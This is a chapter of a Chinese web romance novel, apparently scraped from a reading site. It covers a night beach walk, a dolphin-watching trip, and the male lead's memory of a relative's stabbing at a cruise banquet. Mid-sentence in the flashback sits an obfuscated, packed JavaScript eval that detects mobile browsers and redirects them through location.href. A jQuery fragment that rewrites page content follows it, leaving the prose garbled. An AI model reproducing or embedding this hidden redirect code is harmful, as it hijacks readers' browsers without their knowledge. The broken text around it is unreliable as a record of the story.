18. 有趣的名字

作品:《遛蛇要牵绳

    白天的海风湿热令人气闷,到了晚上,风从陆地开始吹进海洋,微冷。


    龙辞拢一下外套,把乱飞的头发随手扎成低丸子,走到陆愈明身前。


    “借你挡挡风。”


    龙辞和陆愈明的身高差了一个脑袋,能够完美地把自己藏进“避风港”。


    陆愈明配合着,手抓着外套撑开,像鸟张开翅膀。


    “随便借!你陆哥的身躯无敌伟岸!”又企图给人当哥。


    龙辞在夜色里翻一个白眼给他。


    “干嘛干嘛?你鄙视我?”陆愈明收起动作,手抱在胸前质问。


    龙辞一边转身往前走,一边点头:“你要是这么想,我也没办法咯~”


    被她轻飘飘的语气砸过来,陆愈明嘴角扯出弧度,咬咬后槽牙,伸手到龙辞后面捏一下松乱的丸子头。


    “坏辞花。”用的是苗语。


    他这段时间在青竹村听了太多苗语,也学舌两句,最熟悉的是龙辞的小名。


    牙齿轻微咬紧切磨,短音在齿间挤压,再张开嘴巴,让气息在鼻腔共鸣,最后双唇短暂触碰,仿佛亲吻。


    很有趣的名字。


    “哎呀!”龙辞捂住自己的头发,抬脚作势踢人。


    “熊孩子!”


    她动作慢,陆愈明很容易就躲开,只有鞋子带起的细沙在小腿上流过。


    “哎~踢不到!!!”他说着,往礁石堆跑去。


    傍晚涨起的潮水正准备回落,龙辞追着他,一脚踩进温热的海水。


    失去了阳光,海水变成墨蓝色,神秘到可怖的地步。


    “陆愈明,你小心点,别掉到海里了。”


    龙辞大喊,陆愈明就乖乖走近她身边。


    海浪卷起落下,拍在礁石上的力道越来越小,石头聚起来的水坑拦住来不及乘浪的鱼,龙辞和陆愈明把它们捞起来,丢进正在离开的浪花里。


    “我们来得不巧,没有蓝眼泪。”龙辞捡起一只海螺,用手电筒照亮观察里面的螺是否存活。


    陆愈明无理取闹:“是它们没礼貌,知道我们来,也不肯现身。”


    夜逐渐深了,远处海滩上的摊贩都开始收摊回家。龙辞和陆愈明把能找到的小水坑一个个看遍,没再发现被遗忘的小可怜,也打道回府。


    “下次我们春天来海边,一定看到蓝眼泪。”陆愈明走在前面,帮龙辞挡住吹来的陆风。


    后面要忙着工作,或是有其他安排,龙辞想说下次遥遥无期,又觉得扫兴,点头附和:“行啊!还要提前看好天气,免得下雨了,它们不出来。”


    “我可以多等,等个十天半个月!”


    “那你记得早上或者傍晚来等,我刚搜了一下,蓝眼泪涨潮时出现的概率比较大。”


    “啊?那我们今晚来这里就是为了捞小鱼吗?”


    “为了你的奇迹呀~”


    海边最后一盏灯也在话语声中熄灭,在龙辞身后的某一块礁石上,一朵浪花奔来,撞上粗糙的石面。


    ……


    秋天看不到蓝眼泪,却可以去追一追粉海豚。


    第二天一早,龙辞艰难地从床上爬起,眼皮沉重得像是被绑了厚铁块,四肢酸软连被子都掀不开。


    这是昨天不睡觉,和陆愈明去等奇迹的后遗症。


    但出海的船票已经定好,龙辞还是挣扎着爬起来洗漱,匆匆吃过早饭去乘船。


    快艇追海豚灵活方便,可周芬年纪大,又行动不便,龙辞衡量过后选的是中型观豚船。


    时间还早,风没有热起来,刮在身上能把人吹得发抖。


    龙辞给外婆拢好身上的披肩和毯子,推她进船舱。


    这是一艘半潜式观豚船,水下窗户干净透明,可以毫无阻碍地看见海底风光。


    龙辞把周芬推到靠窗的位置,固定好轮椅,等待出发。


    船只行驶在大海,是真正的漂泊。


    海浪推得这艘船前后摆动,陆愈明晕乎乎地靠着座位闭目休息。


    有些晕船。


    “喏。”龙辞拿出瓶装水,拧开瓶盖递给陆愈明,让他喝点水缓缓。


    包里有晕船药,但他早上已经吃过,再吃对身体不好。


    照理说,距离吃下晕船药的时间已经过去四十分钟,应该已经起效了,龙辞不懂他为什么还这么难受。


    这种药对他不适用吗?


    而且,虽然听起来不太礼貌,但龙辞好奇很久,忍不住提问。


    “你们这种,呃……有钱人,不应该一年大部分时间都飞来飞去,出差或者度假,被接待着坐车去山间别墅,或者乘坐豪华游轮出海吗?你怎么晕车晕船这么严重?”


    陆愈明咽下冰凉的水,将胃里的恶心压下去,无奈地看一眼龙辞。


    “有钱人也是人。”当然也会生病,会累。


    “而且我一般不晕车,在村里是因为盘山公路太绕了。”并且现在也已经逐渐习惯。


    至于晕船,他以前也不晕船,会经常和朋友家人出海游玩,或是在游轮上度假。


    只是有一次……


    那时还是夏天,他十二岁。


    某个世家的老太太给自己办寿宴,定在游轮上。


    那是一艘很大的游轮,堪比城堡,在海上行驶时感受不到一点颠簸摇晃。


    游轮上灯火通明,宴会厅觥筹交错,纸醉金迷。


    哥哥姐姐和爸妈一道出席,他则被带在奶奶身边。


    奶奶很宠他,带着见她的各种好友,被夸了又夸。


    夸他学习进步,夸他活泼讨喜,夸他名字取得好,越走,路愈明亮。


    “看来老太太很看好我们小陆少爷,以后小陆少爷的成就,怕是要比哥哥姐姐还高呢!”


    那个时候,陆愈明的姐姐林清淼已经接手管理集团名下一家子公司,哥哥林山远自己组建的科技公司也小有成就,在年轻人中风头正盛。


    陆愈明很崇拜哥哥姐姐。


    “未来的事谁知道呢?”奶奶先是谦虚一句。


    “但我相信,愈明以后一定可以在哥哥姐姐的帮助下,把我们陆氏发扬光大。”


    奶奶慈爱的手抚在陆愈明背上,期许的目光刺着他。


    陆愈明不知道自己做出了什么样的表情来回应,他浑浑噩噩地听大家打机锋,半句也没进到心里。


    杯子里的果汁一口一口咽下,陆愈明和奶奶打一声招呼,独自去阳台透透风。


    “陆小少爷比林小姐小这么多岁,老太太还想让他接手陆氏?等他成年,林小姐都站稳脚跟了吧?”


    他听见几个人在角落议论,其中一个指指自己的脑袋,说:“老一辈的思想嘛,之前


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237124|166155||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老太太是希望林少爷改姓,然后接手集团的。”


    “林小姐是女孩,又随母姓,还找了个外国对象,扬言要丁克,处处踩在老太太神经上。”


    他们窃窃私语,议论陆愈明被奶奶教导着,要是养大了野心,以后怕是得和姐姐争得你死我活。


    又说c城的江家,孩子们慢慢长大成年,斗得脸红脖子粗,恨不得把亲兄弟往死路上逼。


    陆愈明不愿再听,跑回房间找奶奶。


    屋里的客人已经散了大半,只剩下奶奶和寿宴的主人在聊天。


    “你啊,今天这些话让外人知道,又要说你是恶婆婆了。”


    “随便他们怎么说,我就是不喜欢她,当年闹得我儿子要死要活,后面又巴巴的回来,她就好在给我生了小陆这么个宝贝了。”


    他是宝贝,那哥哥姐姐呢?


    陆愈明听见奶奶说:“另外两个,聪明是聪明,就是和他们妈妈一样倔,还是愈明听话些。”


    人在被与他人的比较中占了上风,会开心吗?


    因为姓氏和所谓听话,备受宠爱甚至寄予“厚望”,会开心吗?


    他会像那些人聊的那样,对至亲无所不用其极吗?


    游轮很平稳,身处其中和站在陆地上毫无差别,陆愈明却觉得海浪正在席卷过来,要把他卷进深渊。


    “那边怎么了?”


    “好像是江家有两位闹起来了。”


    宴会一角传来瓷器碎裂和重物倒地的声音,人们步履匆匆地往一个地方凑,还强装优雅体面。


    陆愈明被裹挟往前,来到事端中心。


    两个长相有些相似的男人,一个跌坐在地,捂着心口。他的目光开始涣散,双唇张合,发出破碎的气音。


    另一个男人站立一旁,手里拿着一把带血餐刀,胸口剧烈的起伏着,脸侧有一抹红色,双眼泪水如同溪流,一点点把那抹红色稀释,落在白衬衫上。


    精美的瓷器碎裂一地,血液流淌蔓延,处处狼藉。


    陆愈明的脚边有一朵洁白的百合,原本插在餐桌上的花瓶里。


    现在躺在他的脚边,娇嫩的花瓣破裂了,不再美丽。


    鲜血流淌蔓延,就要淹没花瓣。


    陆愈明蹲下身想捡起花枝,一只手握住他的肩膀,让他停下动作。


    “愈明,跟奶奶回去。”老太太皱着眉看一眼现场的混乱,护着陆愈明离开。


    就差一点,他就能捡起那朵花。


    他的手已经快要碰到花茎,花朵的芬芳从花瓣破碎的伤口溢出,就要闯入他的呼吸。


    但陆愈明没能捡起它,没能嗅到它的芬芳。


    呼吸之间,只闻到打翻在地的酒水和血液混杂在一起,黏腻恶心,宾客们身上定制的香水与食物的味道混杂,更是呛人。


    在这个纸醉金迷的场合,他们冷眼旁观着一个家庭的破裂。


    游轮平稳地行驶在海面,风浪不足以让它摇晃半分。


    可是风浪却朝着陆愈明袭来,拍得他头晕目眩。


    精美繁华的会场装饰变成斑驳的色块光斑,陆愈明努力睁眼,怎么都看不清。


    他像只没头苍蝇跌跌撞撞闯进卫生间,跌倒在地,晚上喝下的果汁翻腾,从喉咙涌出,呛得他嗓子刺痛,眼泪直流。


    从此,陆愈明厌恶大船。